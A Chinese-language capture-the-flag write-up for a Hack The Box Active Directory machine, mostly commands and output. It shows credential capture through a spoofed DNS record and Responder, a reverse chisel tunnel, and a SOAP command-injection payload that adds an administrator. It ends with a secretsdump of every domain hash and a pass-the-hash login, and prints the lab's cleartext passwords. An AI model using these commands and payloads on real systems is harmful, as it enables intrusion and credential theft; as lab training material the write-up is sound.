基本信息

端口扫描

常规windows域端口：

需要全端口，mssql开在非默认端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
$ nmap -sC -sV -Pn 10.129.244.81
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-01 20:45 JST
Nmap scan report for 10.129.244.81
Host is up (0.094s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-01 11:47:07Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-02-01T11:47:13+00:00
|_ssl-date: 2026-02-01T11:47:53+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after:  2026-06-08T15:16:06
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-02-01T11:47:15
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 163.86 seconds

$ rustscan -r 1-65535 -a 10.129.244.81
Open 10.129.244.81:53
Open 10.129.244.81:88
Open 10.129.244.81:135
Open 10.129.244.81:139
Open 10.129.244.81:389
Open 10.129.244.81:445
Open 10.129.244.81:464
Open 10.129.244.81:593
Open 10.129.244.81:636
Open 10.129.244.81:3268
Open 10.129.244.81:3269
Open 10.129.244.81:3389
Open 10.129.244.81:5985
Open 10.129.244.81:6520
Open 10.129.244.81:9389
Open 10.129.244.81:49534
Open 10.129.244.81:49535
Open 10.129.244.81:49542
Open 10.129.244.81:49559
Open 10.129.244.81:49664
Open 10.129.244.81:49669
Open 10.129.244.81:60782

$ nmap -sC -sV -Pn -p6520 10.129.244.81
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-01 22:07 JST
Nmap scan report for S200401.overwatch.htb (10.129.244.81)
Host is up (0.087s latency).

PORT     STATE SERVICE  VERSION
6520/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2026-02-01T13:08:41+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-02-01T11:44:58
|_Not valid after:  2056-02-01T11:44:58
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)

Host script results:
|_clock-skew: 2s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.62 seconds

SMB

SMB匿名访问，software里可以看到一些文件,下载到本地分析：

OverWatch

是.net的,dnspy一键反编译，overwatch.exe可以找到sqlsvc的密码：

1
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;

Bloodhound

得到有效的账号密码后就是常规bloodhound：

1
2
3
10.129.244.81 S200401.overwatch.htb overwatch.htb

bloodhound-python -u sqlsvc -p 'TI0LKcfHzZw1Vv' -c All -d overwatch.htb -ns 10.129.244.81 --zip

暂时没有直接可用路径

MSSQL

前面看到非默认端口6520的mssql，可以连接上去查看,发现一个不存在的linked server：

1
$ python3 examples/mssqlclient.py overwatch.htb/sqlsvc:'TI0LKcfHzZw1Vv'@10.129.244.81 -port 6520 -windows-auth

检查也可以确认不存在sql07的dns记录，所以下一步应该是通过dns

SQL07

测试发现sqlsvc有权限添加dns，所以就是添加dns后再去use link触发访问，responder获取到认证信息：

1
2
3
4
5
6
7
8
9
10
11
python3 dnstool.py -u 'overwatch.htb\sqlsvc' -p 'TI0LKcfHzZw1Vv' overwatch.htb -dc-ip 10.129.244.81 -dns-ip 10.129.244.81 -a add -d 10.10.14.96 -r 'SQL07'

SQL (OVERWATCH\sqlsvc  guest@master)> use_link SQL07

sudo python3 Responder.py -i 10.10.14.96 -v

[MSSQL] Received connection from 10.129.244.81
[MSSQL] Cleartext Client   : 10.129.244.81
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

sqlmgmt & user flag

sqlmgmt在remote management组中，winrm登录：

1
python3 winrmexec.py sqlmgmt:'bIhBbzMMnB82yx'@10.129.244.81

MonitoringService

回到反编译部分，可以在config里看到8000端口有个MonitoringService，以及exe里可以看到这个服务的KillProcess存在命令注入，直接拼接Prosessname到powershell里：

所以就是先转发端口出来，尝试和这个服务交互

1
2
3
4
# local
./chisel_1.7.0-rc7_darwin_amd64 server -p 9999 --reverse
# target
.\chisel.exe client 10.10.14.96:9999 R:8000:127.0.0.1:8000
1
2
3
4
5
6
7
<xs:element name="KillProcess">
<xs:complexType>
<xs:sequence>
<xs:element minOccurs="0" name="processName" nillable="true" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>

之后就很简单了，具体利用可以自定义客户端，也可以直接构造HTTP请求，代码交给AI

KillProcess & root flag

直接HTTP请求,简单的添加用户:

1
2
3
4
5
6
7
8
9
10
11
12
curl -X POST \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: http://tempuri.org/IMonitoringService/KillProcess" \
  -d '<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>notepad; net user miao Password123! /add; net localgroup Administrators miao /add</processName> 
    </KillProcess>
  </soap:Body>
</soap:Envelope>' \
  http://127.0.0.1:8000/MonitorService

之后就直接dump：

1
2
3
python3 examples/secretsdump.py miao:'Password123!'@10.129.244.81 -just-dc-user Administrator

Administrator:500:aad3b435b51404eeaad3b435b51404ee:269fa056205bbf5d47fc2c3682dbbce6:::

root flag

Administrator 登录：

1
python3 winrmexec.py Administrator@10.129.244.81 -hashes :269fa056205bbf5d47fc2c3682dbbce6

hashdump

secretsdump：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
$ python3 examples/secretsdump.py miao:'Password123!'@10.129.244.81 -just-dc-ntlm

Administrator:500:aad3b435b51404eeaad3b435b51404ee:269fa056205bbf5d47fc2c3682dbbce6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:837248a8d4470304528903b44e4f2165:::
overwatch.htb\sqlsvc:1104:aad3b435b51404eeaad3b435b51404ee:ed780ea18da655de0828a3bbbd9ed9f0:::
overwatch.htb\sqlmgmt:1105:aad3b435b51404eeaad3b435b51404ee:b6afae7ffb92c812a36daf8102f8c83b:::
overwatch.htb\Charlie.Moss:1112:aad3b435b51404eeaad3b435b51404ee:94beb6c2f437d99c269e3b4dec4c9cf5:::
overwatch.htb\Tracy.Burns:1113:aad3b435b51404eeaad3b435b51404ee:8efb532b69b3089eab0a0d04de76ee29:::
overwatch.htb\Kathryn.Bryan:1114:aad3b435b51404eeaad3b435b51404ee:1feccd5def467413bad8335f230e5472:::
overwatch.htb\Rachael.Thomas:1115:aad3b435b51404eeaad3b435b51404ee:2d963346c16d5846ffba1177192edb0a:::
overwatch.htb\Aimee.Smith:1116:aad3b435b51404eeaad3b435b51404ee:5a7a2392fe479a8d446fae4a4343c402:::
overwatch.htb\Duncan.Freeman:1117:aad3b435b51404eeaad3b435b51404ee:427e3d1b5c34ff84929c96e975b96be2:::
overwatch.htb\John.Begum:1118:aad3b435b51404eeaad3b435b51404ee:05e745a4ebe69bc010d330707abb5ca5:::
overwatch.htb\Bernard.Hilton:1119:aad3b435b51404eeaad3b435b51404ee:399eb5fc4bebe74619c08b116386cc4a:::
overwatch.htb\Kim.Hargreaves:1120:aad3b435b51404eeaad3b435b51404ee:8ccb84dd51261439c3cc633e1f5f7f71:::
overwatch.htb\Douglas.Burrows:1121:aad3b435b51404eeaad3b435b51404ee:a2ba9e373e0decbe5fea8ac39d71f878:::
overwatch.htb\Carole.Murray:1122:aad3b435b51404eeaad3b435b51404ee:dee1b0be260e3b4a2d1e0ae649eefddd:::
overwatch.htb\Olivia.Quinn:1123:aad3b435b51404eeaad3b435b51404ee:5f9cf9f781defc068fd7d26dfee1f555:::
overwatch.htb\Trevor.Baker:1124:aad3b435b51404eeaad3b435b51404ee:b60a9678306919236ae56c74645e94be:::
overwatch.htb\Kenneth.Dennis:1125:aad3b435b51404eeaad3b435b51404ee:03a20149fdd7422bdbc20b014dceea09:::
overwatch.htb\Jeremy.Marshall:1126:aad3b435b51404eeaad3b435b51404ee:28b4aff73442315e0c47220e3fe53d23:::
overwatch.htb\Jodie.Jones:1127:aad3b435b51404eeaad3b435b51404ee:4a9ed849fc67dbbc45101bf871b7b7de:::
overwatch.htb\Thomas.Lee:1128:aad3b435b51404eeaad3b435b51404ee:e6f71caa41cdc0f9ff26b6bd14b4d225:::
overwatch.htb\Terence.Matthews:1129:aad3b435b51404eeaad3b435b51404ee:cc0d7c77e9b11e668c75eaa48e422068:::
overwatch.htb\Colin.Roberts:1130:aad3b435b51404eeaad3b435b51404ee:a94a184c0edb6f1006ee0f7956c5e51c:::
overwatch.htb\Aaron.Robinson:1131:aad3b435b51404eeaad3b435b51404ee:cf4f3ee6c05fe9c529d747c21e3e10d7:::
overwatch.htb\Amanda.Jenkins:1132:aad3b435b51404eeaad3b435b51404ee:5309dbc1ffc55008a6579368b1e2f090:::
overwatch.htb\Debra.Arnold:1133:aad3b435b51404eeaad3b435b51404ee:23b5780b03f9cd100bc08258335d0175:::
overwatch.htb\Michelle.Willis:1134:aad3b435b51404eeaad3b435b51404ee:fb99c9598dbb1f24ee7151b03ced13f2:::
overwatch.htb\Kayleigh.Jones:1135:aad3b435b51404eeaad3b435b51404ee:e9cbfaade2117f7edbb01bd54a3f9549:::
overwatch.htb\Adam.Russell:1136:aad3b435b51404eeaad3b435b51404ee:afce5e0b53406222f0bf0613a8d5e346:::
overwatch.htb\Tracey.Kelly:1137:aad3b435b51404eeaad3b435b51404ee:ba98985530d48b1be8e1229a39e0f04f:::
overwatch.htb\Bethan.Dale:1138:aad3b435b51404eeaad3b435b51404ee:2742d439d7ef81b573d94376323c6e80:::
overwatch.htb\Mandy.Wood:1139:aad3b435b51404eeaad3b435b51404ee:7065b2d48c00521fabbd5fb01ce778d8:::
overwatch.htb\Jenna.Phillips:1140:aad3b435b51404eeaad3b435b51404ee:b851ab1f041ce896e2b8a31ce4940427:::
overwatch.htb\Carole.Yates:1141:aad3b435b51404eeaad3b435b51404ee:892a8819d6749ff3d27369cdff81a634:::
overwatch.htb\Graham.Perry:1142:aad3b435b51404eeaad3b435b51404ee:fbe3f58f3baba4876a534de2002201ce:::
overwatch.htb\Catherine.Griffiths:1143:aad3b435b51404eeaad3b435b51404ee:f1ff9b4e6a2d30612a4ba8714e5a3b6f:::
overwatch.htb\Shaun.Jackson:1144:aad3b435b51404eeaad3b435b51404ee:88e2aa19ec1981974be92dd3753cd902:::
overwatch.htb\Bethan.Rogers:1145:aad3b435b51404eeaad3b435b51404ee:3743457783df88685b7e32966f17dc65:::
overwatch.htb\Ellie.Singh:1146:aad3b435b51404eeaad3b435b51404ee:a938f9bdb06e0e803d1f33b49b065f51:::
overwatch.htb\Marie.Allan:1147:aad3b435b51404eeaad3b435b51404ee:61a2b4c4728518a3a85f0b2adf27936b:::
overwatch.htb\Patrick.Holmes:1148:aad3b435b51404eeaad3b435b51404ee:7958391402c14fd239be16f9c53d3439:::
overwatch.htb\Victor.Hopkins:1149:aad3b435b51404eeaad3b435b51404ee:d16d5b85b30e8f77b3abbba67267ece1:::
overwatch.htb\Geraldine.Harper:1150:aad3b435b51404eeaad3b435b51404ee:bd29bfad692381f9a8f6a4e944b00d40:::
overwatch.htb\George.Todd:1151:aad3b435b51404eeaad3b435b51404ee:c03c1f92b15feaf75bd7e1956d71dbcb:::
overwatch.htb\Karl.Smith:1152:aad3b435b51404eeaad3b435b51404ee:b10fb476166afc7309aa070793aa558b:::
overwatch.htb\Jacqueline.Norton:1153:aad3b435b51404eeaad3b435b51404ee:f7a99ac90ece7d1e5adb59ad0b75161e:::
overwatch.htb\Frederick.Murray:1154:aad3b435b51404eeaad3b435b51404ee:db6c96a70bfc55a0009ce011ff82b6b0:::
overwatch.htb\Joe.Pearce:1155:aad3b435b51404eeaad3b435b51404ee:948e5dab83127921f26e968de641a819:::
overwatch.htb\Paul.Collins:1156:aad3b435b51404eeaad3b435b51404ee:4853bc3ee030f43cfd64a46f474bd5d3:::
overwatch.htb\Damien.Edwards:1157:aad3b435b51404eeaad3b435b51404ee:4c2ea9cc1354252438db93586358c84e:::
overwatch.htb\Eileen.Phillips:1158:aad3b435b51404eeaad3b435b51404ee:cf113a9f950a5bfaf7407029c58f6d88:::
overwatch.htb\Carl.Johnson:1159:aad3b435b51404eeaad3b435b51404ee:83f4689e10c6873bd11f3a60282242ea:::
overwatch.htb\Kevin.Newton:1160:aad3b435b51404eeaad3b435b51404ee:caa373543ef4bbbb34ad0a4ebac05cf1:::
overwatch.htb\Natalie.Higgins:1161:aad3b435b51404eeaad3b435b51404ee:437c312ab69953ae1a62a4dfe8d9beb3:::
overwatch.htb\Francis.Weston:1162:aad3b435b51404eeaad3b435b51404ee:cb048ea73a6c110538e8627c831622d6:::
overwatch.htb\Benjamin.Davison:1163:aad3b435b51404eeaad3b435b51404ee:7393fe1b4f4fd9c48be6957b92be81de:::
overwatch.htb\Martin.Kemp:1164:aad3b435b51404eeaad3b435b51404ee:13440ccd7f9bab0a0e8d7134e26720de:::
overwatch.htb\Angela.Jones:1165:aad3b435b51404eeaad3b435b51404ee:00c592a4d79fd98733a6b49259a75ae4:::
overwatch.htb\Gareth.Ahmed:1166:aad3b435b51404eeaad3b435b51404ee:6caf30d6b9dc1b7bd815224d46e4e370:::
overwatch.htb\Deborah.Morgan:1167:aad3b435b51404eeaad3b435b51404ee:8135429f65cfffee423f2983db6e5289:::
overwatch.htb\Grace.Taylor:1168:aad3b435b51404eeaad3b435b51404ee:441131d173268e327a7f5f68bf1fc6ca:::
overwatch.htb\Roger.Hughes:1169:aad3b435b51404eeaad3b435b51404ee:342cfdd34f62d523e59724d1eda12423:::
overwatch.htb\Albert.Barrett:1170:aad3b435b51404eeaad3b435b51404ee:e53553be73fc6b5cabd8e11a6c889f4d:::
overwatch.htb\Grace.Curtis:1171:aad3b435b51404eeaad3b435b51404ee:3baf74d75d9a51d2c54efc0c09455e81:::
overwatch.htb\Marilyn.Griffiths:1172:aad3b435b51404eeaad3b435b51404ee:3d8d6eca72816568805b8c728fd86d28:::
overwatch.htb\Tracey.Barker:1173:aad3b435b51404eeaad3b435b51404ee:cd232f733ef72204b7df6b25ff3e3b31:::
overwatch.htb\Suzanne.Hughes:1174:aad3b435b51404eeaad3b435b51404ee:8b089a08464eff31c52296cef67c5299:::
overwatch.htb\Timothy.Jackson:1175:aad3b435b51404eeaad3b435b51404ee:d196dd5f89ce68db6550dfe4b7dd49ef:::
overwatch.htb\Beverley.Thompson:1176:aad3b435b51404eeaad3b435b51404ee:8fcd37e3d813ce4c285bf07fb7838825:::
overwatch.htb\Clare.Bartlett:1177:aad3b435b51404eeaad3b435b51404ee:33c7ca4bb2230eb48f85ea267dae9a2b:::
overwatch.htb\Irene.Johnson:1178:aad3b435b51404eeaad3b435b51404ee:b0604562aec60fc89a21e35a9c9df244:::
overwatch.htb\Bernard.Wood:1179:aad3b435b51404eeaad3b435b51404ee:8a6706c4cf299270a405a1789734355e:::
overwatch.htb\Frank.McCarthy:1180:aad3b435b51404eeaad3b435b51404ee:59d3328a5629857513ea68a32faa39b0:::
overwatch.htb\Elaine.Page:1181:aad3b435b51404eeaad3b435b51404ee:2202a17a2753c030364eabfc03267c84:::
overwatch.htb\Elaine.Walker:1182:aad3b435b51404eeaad3b435b51404ee:a06a8ba431e0d8e780217e4ecf3d75c8:::
overwatch.htb\Mohammad.Hill:1183:aad3b435b51404eeaad3b435b51404ee:9c82b143a57d3725d7c6dce6345b193a:::
overwatch.htb\Glenn.Field:1184:aad3b435b51404eeaad3b435b51404ee:d8d33d93ca0f1743af0de25f8b6d1cc4:::
overwatch.htb\Deborah.Martin:1185:aad3b435b51404eeaad3b435b51404ee:e8db5e3fe9a735b8de44823ff87a08a2:::
overwatch.htb\Gail.Sullivan:1186:aad3b435b51404eeaad3b435b51404ee:63f46ad480a5173bb35314cdfe9b16a3:::
overwatch.htb\Maureen.Kirby:1187:aad3b435b51404eeaad3b435b51404ee:2158b4daae72b7d1a081ee6291faa737:::
overwatch.htb\Georgina.Chambers:1188:aad3b435b51404eeaad3b435b51404ee:c122c664128acd002fb2f525799d4287:::
overwatch.htb\Philip.Harris:1189:aad3b435b51404eeaad3b435b51404ee:7b8f536de912ea0cf2d7752c21ba7b52:::
overwatch.htb\Samantha.Scott:1190:aad3b435b51404eeaad3b435b51404ee:40e36780a66673025f627e42f0c7a280:::
overwatch.htb\Ann.Hill:1191:aad3b435b51404eeaad3b435b51404ee:5a17775aca0e7a8fa33854295d3c858e:::
overwatch.htb\Chloe.Cox:1192:aad3b435b51404eeaad3b435b51404ee:941731d354ba364cd963b438bd587375:::
overwatch.htb\Jamie.Gough:1193:aad3b435b51404eeaad3b435b51404ee:7d81e757f38655cb438f70fe39ba76dc:::
overwatch.htb\Frederick.Hussain:1194:aad3b435b51404eeaad3b435b51404ee:256b920ee718bc7fe888d2d40c60da9c:::
overwatch.htb\Dean.Hobbs:1195:aad3b435b51404eeaad3b435b51404ee:6d2484e65fcd2b93e0ba65973b387f34:::
overwatch.htb\Danielle.Moore:1196:aad3b435b51404eeaad3b435b51404ee:2bab63e446ba6e6013d13013dd910eb1:::
overwatch.htb\Timothy.Smith:1197:aad3b435b51404eeaad3b435b51404ee:40c3630c8e5509d29ab23c0222d1d76d:::
overwatch.htb\Declan.Stone:1198:aad3b435b51404eeaad3b435b51404ee:2aa26dbb7fe31b45583f077750d572c6:::
overwatch.htb\Jacob.Wilson:1199:aad3b435b51404eeaad3b435b51404ee:d84ab98691b823c25e3c3b55e998916a:::
overwatch.htb\Gary.Elliott:1200:aad3b435b51404eeaad3b435b51404ee:18582fe03486a059cfde0a079f4be856:::
overwatch.htb\Peter.Slater:1201:aad3b435b51404eeaad3b435b51404ee:74106a042fb7c7b2041446d3998e4f14:::
overwatch.htb\Louise.Walton:1202:aad3b435b51404eeaad3b435b51404ee:c402a326035fea45876c04decfa68987:::
overwatch.htb\Brett.Haynes:1203:aad3b435b51404eeaad3b435b51404ee:8a42d2e079b801254d1e7fdef1d1ee94:::
overwatch.htb\Elliot.Green:1204:aad3b435b51404eeaad3b435b51404ee:85925c1632b581480289eb57736e0b8f:::
overwatch.htb\Wendy.Williams:1205:aad3b435b51404eeaad3b435b51404ee:e10d145bbf19c96d10ae9f14704206f2:::
overwatch.htb\Graham.Parker:1206:aad3b435b51404eeaad3b435b51404ee:f326318661377c3b0eedca20d909ee81:::
overwatch.htb\Abdul.Stevens:1207:aad3b435b51404eeaad3b435b51404ee:80b6d888cfea373f128d5cd23c3f51fb:::
overwatch.htb\Brett.Bailey:1208:aad3b435b51404eeaad3b435b51404ee:986ac62d420930a3457ceccd649feffc:::
overwatch.htb\Benjamin.Harrison:1209:aad3b435b51404eeaad3b435b51404ee:0b1c0ed74f5df289acb734eed8b13110:::
overwatch.htb\Emily.Cooper:1210:aad3b435b51404eeaad3b435b51404ee:3d3cb9211c91ea4450f374db1efc2959:::
overwatch.htb\Roger.Spencer:1211:aad3b435b51404eeaad3b435b51404ee:342b81ceb78292cc68cde03f21f2d5d2:::
miao:7601:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
S200401$:1000:aad3b435b51404eeaad3b435b51404ee:1b0de87727db8880deb1ad234370181a:::
SQL03$:1106:aad3b435b51404eeaad3b435b51404ee:b158d5c8689f51080ac25db3f4c989ac:::
NB001$:1107:aad3b435b51404eeaad3b435b51404ee:263e8538969be119d691b86f80834d86:::
NB002$:1108:aad3b435b51404eeaad3b435b51404ee:a4d098b548b0bdd4bcd03fd20634fcf7:::
FILE01$:1109:aad3b435b51404eeaad3b435b51404ee:b91d95314889048fb8423634d8f25dc1:::
S200400$:1110:aad3b435b51404eeaad3b435b51404ee:54d8ab8237f7bc8ce220d1f57badc3ad:::

参考资料